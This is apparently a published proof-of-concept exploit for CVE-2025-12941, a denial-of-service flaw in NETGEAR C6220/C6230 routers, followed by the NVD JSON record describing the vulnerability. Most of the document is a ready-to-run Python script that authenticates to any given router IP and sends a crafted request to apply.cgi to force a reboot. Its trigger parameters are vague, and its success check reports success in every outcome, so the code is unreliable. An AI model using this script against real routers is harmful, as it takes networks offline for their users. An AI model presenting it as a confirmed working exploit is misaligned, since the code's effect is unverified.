CVE-2025-12941

#!/usr/bin/env python3 """ CVE-2025-12941 PoC - NETGEAR C6220/C6230 DoS Vulnerability Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import time def exploit_dos(target_ip, username, password): """ Exploit the DoS vulnerability in NETGEAR C6220/C6230 routers. Args: target_ip: Router's IP address username: Low-privilege WiFi user credentials password: User password """ base_url = f"http://{target_ip}" # Step 1: Authenticate with low-privilege credentials login_url = f"{base_url}/login.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Send malicious request to trigger DoS # This specific request pattern triggers the vulnerability dos_url = f"{base_url}/apply.cgi" dos_data = { "current_page": "RST_stuck.cgi", "next_page": "index.htm", "submit_flag": "reboot", "wan_proto": "dhcp", # Malformed parameters that trigger the vulnerability "special\x00":"value" } print("[*] Sending DoS trigger request...") response = session.post(dos_url, data=dos_data, timeout=5) # Step 3: Verify router reboot print("[*] Waiting for router reboot...") time.sleep(30) for i in range(10): try: response = session.get(base_url, timeout=5) if response.status_code == 200: print("[+] Router rebooted successfully - DoS confirmed") return True except: time.sleep(10) print("[-] Router did not respond - DoS successful") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting NETGEAR C6220/C6230 at {target}") exploit_dos(target, user, pwd)

{"cve": {"id": "CVE-2025-12941", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2025-12-09T17:15:48.453", "lastModified": "2026-01-16T21:13:16.813", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Denial of Service Vulnerability in NETGEAR C6220 and C6230 (DOCSIS® 3.0 Two-in-one Cable Modem + WiFi Router) allows authenticated local WiFi users reboot the router."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:L/U:Amber", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:c6230_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A84C91CA-695E-42FB-8FA8-1B1ED6197FAA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:c6230:-:*:*:*:*:*:*:*", "matchCriteriaId": "DCB240D1-C16C-4DC2-90CA-EDCFF144FA8D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:c6220_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E436420F-2352-4227-BD0E-DA67A85405DA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:c6220:-:*:*:*:*:*:*:*", "matchCriteriaId": "CC1B186D-80B0-414D-A777-02DBA99C761C"}]}]}], "references": [{"url": "https://kb.netgear.com/000070416/December-2025-NETGEAR-Security-Advisory", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/c6220/", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}, {"url": "https://www.netgear.com/support/product/c6230/", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}]}}